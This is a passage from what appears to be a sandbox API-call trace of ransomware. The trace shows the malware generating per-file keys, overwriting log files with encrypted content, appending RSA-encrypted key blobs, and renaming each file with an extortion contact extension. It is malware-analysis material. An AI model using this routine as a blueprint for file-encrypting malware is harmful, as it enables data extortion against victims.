pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.762] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ahhiKQ7gOuJvX+Zb7tgvExv0whyzDPQ1NQ5/260ISAbV7vikgk1pW4gVeu+yHXRQ\nhT8LJqMGr7pxg8aGitIxEVAiJIqH6a999Xkyxvr1ze/JQ5vpxOLC2SUBlTLqIPpt\nKTUCcBCfUCZFwBbreZrRdnml8V1bL3h7R/2zgvX1EDSRiG1Ta9vP3Eq+R6LFxe55\nfxItaVbA5u9sQm+d626368LjfihdYYOkCtt8kTRHUMGbW/9rXkWRv0BIrI10Fg8U\n42FZYGMJoLtpJPyMrwoz/GXlOxjDpKtlJHtNb/8QkHmlSPZJIzNPuls5svWjRNLg\nquaixpVmysmR45/QX2PWXA==\n", pcchString=0x2e3f9a8) returned 1 [0154.762] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.762] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.762] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.762] CloseHandle (hObject=0x694) returned 1 [0154.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.762] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.005.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.005.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b1628 | out: hHeap=0x570000) returned 1 [0154.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0154.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1838 | out: hHeap=0x570000) returned 1 [0154.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0154.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d28b0 [0154.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0154.764] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.764] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl", dwFileAttributes=0x80) returned 1 [0154.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2030 [0154.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5aff60 [0154.765] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2030 | out: hHeap=0x570000) returned 1 [0154.765] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.004.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.765] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.765] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.797] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.797] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.797] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.797] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.797] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.797] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.797] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.797] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.798] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.798] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.798] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.798] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="qPPm6YoyEVHstxwskQygbJCNSfdboe/49b1aG986oQGVDa0qaOj/x8zqXXEZQwFD\nYF/jOnrQwRjli5+MyzRy07mQbSjBST8mKjJ0/RxohUkjZoJSWL3keNIUh0kSCpEo\nZtF11oyNEZpp9Rq9YAVsyLL+1AWhwN51X/Y5W1VvWKb48+wTAI+0qAqFumSWP1fJ\nHPjnI+vaL2JsYkWsWVMAaNUb5pF+Q6zZnvmsNFaJWBtTDMMJFzsYMbxRhVDGjL/U\nWccwVBsjxm/60b7i/NUc9y+q+O9yX5CYVBbjS98YcQGe9AYDUFUPLxU0aGgNy9RR\ncyRU90Ki37DqgGzRVZPIaQ==\n", pcchString=0x2e3f9a8) returned 1 [0154.798] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.798] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.798] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.798] CloseHandle (hObject=0x694) returned 1 [0154.798] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.798] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.004.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.004.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aff60 | out: hHeap=0x570000) returned 1 [0154.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0154.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d28b0 | out: hHeap=0x570000) returned 1 [0154.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0154.800] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1ae0 [0154.800] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccb0 [0154.800] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.800] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl", dwFileAttributes=0x80) returned 1 [0154.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2470 [0154.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0620 [0154.804] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2470 | out: hHeap=0x570000) returned 1 [0154.804] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.003.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.804] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.804] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.805] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.805] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.806] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.806] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.806] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.806] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.806] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.806] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.806] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.806] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.806] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.806] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="aF8gczpAqL4LfOXtm5FhKpC81Ulo8/TC7u7G/TjxdD3sYUV/fggXuO6NlzapVDq8\nlIl/FT1Y1VT2NEi4ZEJaSbTMCmD/MSFnh15kLYba6Nm6VfXOP2u+JZtzg2NFlH0p\nu+2ocdg/Og/OmPTWOJhjFAzgiBm7AibfWW8cZMzs7/3Ks8mt6htKKgUeX8y4b0+k\ndPfKNJZX8EsuYqxqNmyKm54rVqoVvppFVhmnV3KnlHpFm/zVhvabuAEETYNoHXj5\nt4+tblhkfH7FSj758mgki2S809T/4Isbxh90YsHeu8/3WZb1cE1hSVHk6TlvABs7\nA10x4rIC09AEIUsRUL+CbQ==\n", pcchString=0x2e3f9a8) returned 1 [0154.806] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.807] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.807] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.807] CloseHandle (hObject=0x694) returned 1 [0154.807] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.807] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.003.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.003.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.003.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.809] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0620 | out: hHeap=0x570000) returned 1 [0154.809] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0154.809] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1ae0 | out: hHeap=0x570000) returned 1 [0154.809] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0154.809] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2580 [0154.809] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0154.809] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.809] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl", dwFileAttributes=0x80) returned 1 [0154.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2828 [0154.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0b30 [0154.810] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2828 | out: hHeap=0x570000) returned 1 [0154.810] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.810] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.811] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.825] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.825] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.826] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.826] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.826] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.826] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.826] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.826] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.826] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.826] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.826] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.826] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="8ekH9UgaZBSDJfqQNGEgfQK6BvOpfIF2XlGW14XwnU7Jb4sUsjjTnKpNkaZeLEtk\nFWfivb/U5Uz48hXnDv8NZWWQTAJKedUl32TRA867KqDvFepQU/3OIKYk9VCfvFG6\nHmyInxzacf8MZehVujAqPOOH8kHvRV5Q5QjsNvqRIJuP85NUojqTu7JNkX3f+0kT\nWoJ78VtJyJ9e22LKpMG29hH6L/EnwxKY2FHM0p3ovXNOelAOlqCSIlQikNh956+a\ntSGDM80Bx4zcCmNtUKTsJhgdxKawsiB7Z0LyzVMzA9I8OVAg9QIzfvuorEJkXFBL\nWy4Jcn4/fup9z0ILeT8lBA==\n", pcchString=0x2e3f9a8) returned 1 [0154.827] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.827] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.827] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.827] CloseHandle (hObject=0x694) returned 1 [0154.827] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.827] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.002.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.002.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0b30 | out: hHeap=0x570000) returned 1 [0154.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0154.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2580 | out: hHeap=0x570000) returned 1 [0154.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0154.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2470 [0154.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0154.829] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.829] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl", dwFileAttributes=0x80) returned 1 [0154.831] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d24f8 [0154.831] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b11f0 [0154.831] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d24f8 | out: hHeap=0x570000) returned 1 [0154.831] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.831] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.831] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.831] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.832] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.852] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.852] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.852] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.852] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.852] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.852] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.852] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.853] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.853] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.853] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.853] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.853] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="dexaWLDQvHI157RBJiVbDd2DBGWfGMS/mz8PIXcMwyfndLj1bNOqLBCvrleTtNwg\nqSZOYfY9ADh2KFlB+JD5+zWtLj4xp0ssp7g+/TcJGSWI6jWh2CayREj2LGsM+zVY\nmbUWIHOGy8gf+hLlTCcV+PnYjZgQmjY8IpIv/CpDV7yj07Uzd5FCfwUxT0hjACGj\nuYDs6cTuEnGT5tft+STRtavL8k/Q/1Z0ud+p97Fhit55zqVlxMRI1rqk8VjLcqBQ\nVT7BU2Eh+l2x5hx/0sQiY5Cr0cFX10XhNiC2ELZ08f9WvmCkauLh9+dkmS+EeM6l\nTGL8hsaEkWP9qD/wkyx7mg==\n", pcchString=0x2e3f9a8) returned 1 [0154.853] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.853] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.853] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.853] CloseHandle (hObject=0x694) returned 1 [0154.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 